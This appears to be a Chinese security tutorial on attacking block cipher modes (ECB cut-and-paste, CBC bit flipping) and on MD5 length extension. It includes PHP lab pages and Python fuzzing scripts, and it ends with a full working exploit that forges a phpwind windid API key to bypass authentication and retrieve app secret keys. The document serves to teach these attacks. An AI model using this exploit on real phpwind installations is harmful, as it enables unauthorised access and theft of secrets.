分組密碼的模式
分組密碼每次只能處理加密固定長度的分組,但是我們加密的明文可能會超過分組密碼處理的長度。
這時便需要對所有分組進行迭代,而迭代的方式被稱為分組密碼的模式。常見的為針對ECB、CBC模式攻擊(L-ctf提到其中一種)。
ECB
ECB模式的全稱是Electronic CodeBook模式,將明文分組加密后直接成為密文分組,而密文則是由明文分組直接拼接而成,如圖所示:
Features:
ECB模式是所有模式中最簡單的一種。明文分組和密文分組是一一對應的,如果明文分組有相同的那么最后的密文中也會有相同的密文分組。
因為每個分組都獨自進行加密解密,所以無需破解密文就能操縱部分明文,或者改變明文,在不知道加密算法的情況下得到密文,從而達到攻擊效果,如圖所示(翻轉密文分組,那么明文分組也會被翻轉)
Example:
某次CTF遇到的題目
思路:以administrator權限登陸就就能獲得Flag。判斷權限則是根據cookie里面的uid參數,cookie包含username和uid兩個參數,均為使用ECB加密的密文,然而username的密文是根據注冊時的明文生成的。
因此我們可以根據username的明文操縱生成我們想要的uid的密文。經過fuzz發現明文分組塊為16個字節,那么我們注冊17字節的用戶,多出的那一個字節就可以是我們我們希望的UID的值,而此時我們查看username的密文增加部分就是UID的密文,即可偽造UID。
注冊aaaaaaaaaaaaaaaa1獲得1的密文分組,注冊aaaaaaaaaaaaaaaa2獲得2的密文分組,以此類推
源碼沒找到,好像弄丟了,自己寫了個差不多的,有興趣可以練習
ebc.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?php function ?AES( $data ){ ???? $privateKey ?=? "12345678123456781234567812345678" ; ???? $encrypted ?=?mcrypt_encrypt(MCRYPT_RIJNDAEL_128,? $privateKey ,? $data ,?MCRYPT_MODE_ECB); ???? $encryptedData ?=?( base64_encode ( $encrypted )); ???? return ?$encryptedData ; } function ?DE__AES( $data ){ ???? $privateKey ?=? "12345678123456781234567812345678" ; ???? $encryptedData ?=? base64_decode ( $data ); ???? $decrypted ?=?mcrypt_decrypt(MCRYPT_RIJNDAEL_128,? $privateKey ,? $encryptedData ,?MCRYPT_MODE_ECB); ???? $decrypted ?=?rtrim( $decrypted ,? "\0" )?; ???? return ?$decrypted ; } if ?(@ $_GET [ 'a' ]== 'reg' ){ ???? setcookie( 'uid' ,?AES( '9' )); ???? setcookie( 'username' ,?AES( $_POST [ 'username' ])); ???? header( "Location:?http://127.0.0.1/ecb.php" ); ???? exit (); } if ?(@!isset( $_COOKIE [ 'uid' ])||@!isset( $_COOKIE [ 'username' ])){ ???? echo ?'<form?method= "post" ?action= "ecb.php?a=reg" > Username:<br> <input?type= "text" ??name= "username" > <br> Password:<br> <input?type= "text" ?name= "password" ?> <br><br> <input?type= "submit" ?value= "注冊" > </form>?'; } else { ???? $uid ?=?DE__AES( $_COOKIE [ 'uid' ]); ???? if ?(? $uid ?!=? '4' ){ ???????? echo ?'uid:' ?. $uid ?. '<br/>' ; ???????? echo ?'Hi?' ?.?DE__AES( $_COOKIE [ 'username' ])?. '<br/>' ; ???????? echo ?'You?are?not?administrotor!!' ; ???? } ???? else ?{ ?????????? echo ?"Hi?you?are?administrotor!!" ?. '<br/>' ; ???????? echo ?'Flag?is?360?become?better' ; ???? } } ?> |
ecb.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
#coding=utf-8 import ?urllib import ?urllib2 import ?base64 import ?cookielib import ?Cookie for ?num? in ?range ( 1 , 50 ): ???? reg_url = 'http://127.0.0.1/ecb.php?a=reg' ???? index_url = 'http://127.0.0.1/ecb.php' ???? cookie = cookielib.CookieJar() ???? opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) ???? opener.addheaders.append(( 'User-Agent' , 'Mozilla/5.0' )) ???? num = str (num) ???? values = { 'username' : 'aaaaaaaaaaaaaaaa' + num, 'password' : '123' } ???? data = urllib.urlencode(values) ???? opener. open (reg_url,data) ???? text = opener. open (index_url,data) ???? for ?ck? in ?cookie: ???????? if ?ck.name = = 'username' : ???????????? user_name = ck.value ???? user_name? = ?urllib.unquote(user_name) ???? user_name? = ?base64.b64decode(user_name) ???? hex_name? = ?user_name.encode( 'hex' ) ???? hex_name? = ?hex_name[ len (hex_name) / 2 :] ???? hex_name? = ?hex_name.decode( 'hex' ) ???? uid? = ?base64.b64encode(hex_name) ???? uid? = ?urllib.quote(uid) ???? for ?ck? in ?cookie: ???????? if ?ck.name = = 'uid' : ???????????? ck.value = uid ???? text = opener. open (index_url).read() ???? if ?'Flag' ?in ?text: ???????? print ?text ???????? break ???? else : ??????? print ?num |
CBC
CBC模式的全稱是Cipher Block Chaining模式,在此模式中,先將明文分組與前一個密文分組(或為初始化向量IV)進行XOR運算,然后再進行加密。
解密則為密文分組先進行解密,然后再進行xor運算得到明文分組,解密過程如圖所示(加密則相反)
Features:
因為CBC模式是將前一個密文分組和明文分組進行混合加密所以,是可以避免ECB模式的弱點。
但正因為如此,導致了解密時修改前一個密文分組就可以操縱后一個的解密后的明文分組,可以將前一個密文中的任意比特進行修改(0,1進行互換,也可以叫翻轉)
因此CBC模式有兩個攻擊點:①vi向量,影響第一個明文分組 ②第n個密文分組,影響第n+1個明文分組
Example:
在比賽中遇到過很多次,基本上屬于對一個密文分組進行翻轉之后能夠提升權限或者繞過驗證的作用,自己寫了一個差不多的,攻擊密文的,大家可以看看
大概就是這樣,要獲得FLAG需要讓ID=0,而我們是可以從URL中知道密文的
http://127.0.0.1/cbc2.php?a=89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1
我們現在要對密文進行翻轉攻擊,但是并不清楚哪部分對應的是ID的上一個密文,可以直接腳本進行FUZZ,也可是使用burp(intruder)進行測試(選擇攻擊的密文)
選擇攻擊模式
攻擊結果
burp的翻轉并不是遍歷所有翻轉的可能每一位變動一次,比如101101的第一次為101100,那么的二次就是101110,第三次是101000,依次類推。
所以burp可能無法完全翻轉出需要的payload,但是可以幫我確定需要翻轉的位置,我們經過簡單的計算就能得到自己需要的值
比如這里進過對比,我們輕松的找到了需要翻轉的位置,但是卻沒有得到為0的翻轉,數學不及格的我來算算。xor運算的特點:a xor b =c abc三個數任意兩個運算可得到第三個,所以
0b的10進制是11
11xor5=14
14xor0=14
14的十進制為0e
FUZZ反轉成功。
最后在提醒下:AES128位一組,換成16進制其實我們反轉的的是第一組。但影響的卻是第二組
我們這個演示的是攻擊密文的,攻擊iv的,基本相似,有興趣的可以去看看OWASP里面的,那個是攻擊iv的
cbc.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?php?? $cipherText ?=? $_GET [ 'a' ]; //89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1 $padkey ?=?hex2bin( '66616974683434343407070707070707' ); $iv ?=?hex2bin( 'f4ebb2df9c29efd7625561a15096cd24' ); $td ?=?mcrypt_module_open(MCRYPT_RIJNDAEL_128,? '' ,?MCRYPT_MODE_CBC,? '' );???? if ?(mcrypt_generic_init( $td ,? $padkey ,? $iv )?!=?-1)???? {???? ???? $p_t ?=?mdecrypt_generic( $td ,?hex2bin( $cipherText ));???? ???? mcrypt_generic_deinit( $td );???? ???? mcrypt_module_close( $td ); ???? $p_t ?=?trimEnd( $p_t ); ???? $tmp ?=? explode ( ':' , $p_t ); ???? if ?( $tmp [2]== '0' ){ ???????? print ?@ 'id:' .@ $tmp [2]. '<br/>' ; ????????? echo ?'Flag?is?T00ls?become?better' ; ???? } ???? else { echo ?'Your?are?noob!fuck?noob!!' ; ???????? echo ?@ '<br/>id:' .@ $tmp [2]. '<br/>' ; ???????? echo ?@ 'name:' .@ $tmp [0]. '<br/>' ; ???????? echo ?@ 'email:' .@ $tmp [1]. '<br/>' ; ???? } }????? function ?pad2Length( $text ,? $padlen ){???? ???? $len ?=? strlen ( $text )% $padlen ;???? ???? $res ?=? $text ;???? ???? $span ?=? $padlen - $len ; ???? for ( $i =0;? $i < $span ;? $i ++){???? ???????? $res ?.=? chr ( $span );???? ???? } ???? return ?$res ;???? } function ?trimEnd( $text ){???? ???? $len ?=? strlen ( $text );???? ???? $c ?=? $text [ $len -1];???? ???? if (ord( $c )?< $len ){???? ???????? for ( $i = $len -ord( $c );? $i < $len ;? $i ++){???? ???????????? if ( $text [ $i ]?!=? $c ){???? ???????????????? return ?$text ;???? ???????????? }???? ???????? }???? ???????? return ?substr ( $text ,?0,? $len -ord( $c ));???? ???? }???? ???? return ?$text ;???? } |
Hash-Length-Extension-Attack
許多算法都使用的Merkle–Damg?rd construction,比如MD5,和SHA-1等,因此這些算法都受到Length-Extension-Attack。
要說清這個攻擊原理,我們還是簡單說說SHA-1
Features:
SHA-1處理消息前會先對消息進行填充,使整個消息成為512比特的整數倍,每個分組均為512比特
①填充(Padding),方式為將多余的消息后面加一位,且為1,然后后面全部使用0填充使整個分組變為448比特,而最后的64比特會記錄原始消息的長度,填充后每個分組均為512比特。
②然后就是復雜的數學計算~_~我也看的不是特別懂,但是并不影響我們理解。簡單說說就行,首先會定義5個32比特的值(緩沖區初始值,是不是加起來剛好160比特~~,可以理解為iv),
然后大概就是每個分組會經過了80步的處理,然后會輸出新的5個32比特的值,這個時候我們可以理解原始消息已經充分混入這160比特里面,再用這5個數作為初始值去去處理下一個分組,依次類推,最后得到的hash其實就是這5個數,可以看看我畫的便于理解的草圖:
Example:
Hash-Length-Extension-Attack ,可以在知道MD5(message)的hash值得情況下,算出MD5(message+padding+a)的hash值,就是根據短的消息的hash算出更長的消息的hash。
為什么呢,其實看了上面的圖就會覺得很簡單了。我們把hash反排序一下不久又得到5個新的32個比特值嗎(此處是可以逆向MD5的算法的),我們可以用這5個數繼續消息混合,而我們之前padding的數據就會成為整個消息的一部分說以能夠算出MD5(message+padding+a),a就是我們要繼續混合的消息。
這類漏洞一般出現在CTF中比較多,類型都是費否等于MAC == hash(message+test) ?message未知或者只知曉一部分,不過都不重要,重要是的message的長度,因為會影響到拓展后的消息,不知道的話就需要爆破,然后test位置可控,這樣才能拓展,MAC一般也是可控,校驗通過就能下一步哈哈,或者拿flag。
之前我們都是看的CTF(L-ctf也有一部分,拓展后可以下載壓縮包),我們就來看看phpwind的MD5 padding 漏洞
其實是windidserver接口驗證缺陷,用擴展攻擊繞過驗證就可以執行接口中的其他控制器中的其他方法~~
這個函數會在執行控制其方法之前執行,進行驗證,然而我們發現$_windidkey可以自己輸入,只要是appkey的結果相等就能通過驗證
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public ??function ?beforeAction( $handlerAdapter )?{ ?? parent::beforeAction( $handlerAdapter ); ?? $charset ?=? 'utf-8' ; ?? $_windidkey ?=? $this ->getInput( 'windidkey' ,? 'get' ); ?? $_time ?=?(int) $this ->getInput( 'time' ,? 'get' ); ?? $_clientid ?=?(int) $this ->getInput( 'clientid' ,? 'get' ); ?? if ?(! $_time ?||?! $_clientid )? $this ->output(WindidError::FAIL); ?? $clent ?=? $this ->_getAppDs()->getApp( $_clientid ); ?? if ?(! $clent )? $this ->output(WindidError::FAIL); ?? if ?(WindidUtility::appKey( $clent [ 'id' ],? $_time ,? $clent [ 'secretkey' ],? $this ->getRequest()->getGet(null),? $this ->getRequest()->getPost())?!=? $_windidkey )?? $this ->output(WindidError::FAIL); ?? $time ?=?Pw::getTime(); ?? if ?( $time ?-? $_time ?>?1200)? $this ->output(WindidError::TIMEOUT); ?? $this ->appid?=? $_clientid ; ? } |
既然都已經說了是這類型的漏洞,那我們肯定就要找能找到的hash
showFlash這里滿足要求(打印出了hash ?822382cb79f915c779943a1dc131f00c)
1
2
3
4
|
public ?function ?showFlash( $uid ,? $appId ,? $appKey ,? $getHtml ?=?1)?{ $time ?=?Pw::getTime(); $key ?=?WindidUtility::appKey( $appId ,? $time ,? $appKey ,? array ( 'uid' => $uid ,? 'type' => 'flash' ,? 'm' => 'api' ,? 'a' => 'doAvatar' ,? 'c' => 'avatar' ),? array ( 'uid' => 'undefined' )); $key2 ?=?WindidUtility::appKey( $appId ,? $time ,? $appKey ,? array ( 'uid' => $uid ,? 'type' => 'normal' ,? 'm' => 'api' ,? 'a' => 'doAvatar' ,? 'c' => 'avatar' ),? array ()); |
我們再跟蹤appkey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public ?static ?function ?appKey( $apiId ,? $time ,? $secretkey ,? $get ,? $post )?{ //?注意這里需要加上__data,因為下面的buildRequest()里加了。 $array ?=? array ( 'windidkey' ,? 'clientid' ,? 'time' ,? '_json' ,? 'jcallback' ,? 'csrf_token' , ??? 'Filename' ,? 'Upload' ,? 'token' ,? '__data' ); $str ?=? '' ; ksort( $get ); ksort( $post ); foreach ?( $get ?AS? $k => $v )?{ if ?(in_array( $k ,? $array ))? continue ; $str ?.= $k . $v ; } foreach ?( $post ?AS? $k => $v )?{ if ?(in_array( $k ,? $array ))? continue ; $str ?.= $k . $v ; } return ?md5(md5( $apiId . '||' . $secretkey ). $time . $str ); } |
經過各種排序,我們可以得出這個hash的值和消息的結構
822382cb79f915c779943a1dc131f00c = md5(md5().$time.$str)
822382cb79f915c779943a1dc131f00c= md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined
里面的md5值不知道,但是是32位,$time.$str都是可控,那么我們就可以拓展這個消息,得到新的hash,而調用這個函數進行驗證的得地方自然也就繞過了驗證 ?$_windidkey我們只要傳入拓展后的hash即可繞過。因為我們拓展時必須保持md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined的結構,然而排序的時候回因為傳入的a(action)參數導致打亂循序,無法擴展,但是因為phpwind的路由支持post,所以post一下控制器(c),模塊(m),動作(a)這三個參數
$_windidkey(我們拓展的hash)== md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined +padding +alistcappmapi(post排序的)正好繞過驗證
填寫一下cookie和url就可以獲得secretkey(調用的list方法,要實現其他action自行修改,getshell就暫不討論,這不是我們這里的重點
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
#coding=utf-8 import ?urllib import ?urllib2 import ?time import ?cookielib import ?gzip import ?StringIO from ?bs4? import ?BeautifulSoup import ?re import ?hashpumpy import ?sys reload (sys) sys.setdefaultencoding( 'utf-8' ) def ?get_key(url): ???? url? = ?url? + ?'/?m=profile&c=avatar&_left=avatar' ???? response? = ?opener. open (url) ???? html? = ?response.read() ???? if ?response.info().get( 'Content-Encoding' )? = = ?'gzip' : ???????? stream? = ?StringIO.StringIO(html) ???????? with?gzip.GzipFile(fileobj = stream)?as?f: ???????????? html? = ?f.read() ???? soup? = ?BeautifulSoup(html,? 'lxml' ) ???? key_url? = ?soup.find( 'param' ,attrs = { 'name' : 'FlashVars' }).get( 'value' ) ???? key_url? = ?urllib.unquote(key_url) ???? rule? = ?'uid=(.+?)&windidkey=(.+?)&time=(.+?)&clientid=(.+?)&type' ???? Pattern? = ?re. compile (rule,?re.S) ???? rs? = ?re.findall(Pattern,?key_url) ???? return ?rs[ 0 ] def ?padding_exten(windidkey,time,uid): ???? hexdigest? = ?windidkey ???? original_data? = ?time + 'adoAvatarcavatarmapitypeflashuid' + uid + 'uidundefined' ???? data_to_add? = ?'alistcappmapi' ???? key_length? = ?32 ???? result? = ?list () ???? rs? = ?hashpumpy.hashpump(hexdigest,original_data,data_to_add,key_length) ???? result.append(rs[ 0 ]) ???? tmp? = ?str (rs) ???? tmp? = ?tmp.split( ',' )[ 1 ] ???? tmp? = ?tmp.split( "\'" )[ 1 ] ???? tmp? = ?tmp.replace( '\\x' , '%' )??? ???? rule? = ?'undefined(.+?)alist' ???? Pattern? = ?re. compile (rule,?re.S) ???? tmp? = ?re.findall(Pattern,?tmp) ???? result.append(tmp[ 0 ])? ???? return ?result if ?__name__? = = ?'__main__' : ???? url? = ?'http://192.168.0.100/phpwind' ???? cookie? = ?'CNZZDATA1257835621=169451052-1472798292-null%7C1472798292;?PHPSESSID=5adaadb063b4208acd574d3d044dda38;?ECS[visit_times]=5;?csrf_token=ab686222777d7f80;?xzr_winduser=PbUcCS1OT1ZjCzY8GoJOV8EOvix9OdGpc%2BmWBPYV6ar07B7AZSOhSw%3D%3D;?xzr_lastvisit=7%091475751418%09%2Fphpwind%2F%3Fm%3Dprofile%26c%3Davatar%26_left%3Davatar;?xzr_visitor=cx59FPbNJ4FYG2e9cWKpUP%2FTZTef7Yu4DTFLTftwwZ%2FPEVo8' ???? cj? = ?cookielib.CookieJar() ???? opener? = ?urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) ???? opener.addheaders.append( ???????? ( 'User-Agent' ,? 'Mozilla/5.0?(Windows?NT?6.1;?Win64;?x64;?rv:47.0)?Gecko/20100101?Firefox/47.0' )) ???? opener.addheaders.append(( 'Accept' ,? '*/*' )) ???? opener.addheaders.append(( 'Accept-Language' ,? 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' )) ???? opener.addheaders.append(( 'Accept-Encoding' ,? 'gzip,?deflate' )) ???? opener.addheaders.append(( 'Connection' ,? 'keep-alive' )) ???? opener.addheaders.append(( 'Cookie' ,?cookie)) ???? opener.addheaders.append(( 'Cache-Control' ,? 'max-age=0' )) ???? uid,?windidkey,?time,?clientid? = ?get_key(url) ???? windidkey,?padding? = ?padding_exten(windidkey,time,uid) ???? payload? = ?'/windid/index.php?time=' + time + '&windidkey=' + windidkey + '&clientid=' + clientid + '&adoAvatarcavatarmapitypeflashuid' + uid + 'uidundefined=' + padding ???? url? = ?url? + ?payload ???? data? = ?{ 'm' : 'api' , 'c' : 'app' , 'a' : 'list' } ???? data? = ?urllib.urlencode(data) ???? response? = ?opener. open (url,data) ???? html? = ?response.read() ???? if ?response.info().get( 'Content-Encoding' )? = = ?'gzip' : ???????? stream? = ?StringIO.StringIO(html) ???????? with?gzip.GzipFile(fileobj = stream)?as?f: ???????????? html? = ?f.read() ???? print ?html |